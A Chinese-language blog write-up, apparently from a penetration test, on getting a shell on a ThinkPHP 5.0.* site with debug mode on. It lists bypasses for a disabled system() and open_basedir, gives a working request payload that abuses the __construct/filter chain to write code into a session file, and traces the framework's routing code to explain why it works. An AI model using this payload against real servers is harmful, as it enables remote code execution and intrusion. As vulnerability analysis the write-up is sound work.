0x01 前言
项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下…
0x02 踩坑
- 尝试命令执行,system被限制了
- 尝试包含日志文件,open_basedir限制了
- 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案
- 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
_method=__construct&filter[]=thinkSession::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>
0x03 GetShell
俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法
1、Noel 师傅的解决方法及分析:
Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程
首先会进入App.php的Run方法
public static function run(Request $request = null)
{
………………………………
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
/*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
$dispatch = array(2) { ["type"]=> string(6) "module"
["module"]=> array(3) {
[0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
*/
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
$request->dispatch($dispatch);
// 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
………………………………
}
这里我们主要关注routeCheck和param两个函数,先看routeCheck
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
………………………………
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
主要是将请求参数什么的传入,经过check后就基本上都处理好了
在调试模式开启的情况下可以进入param函数
Comment here is closed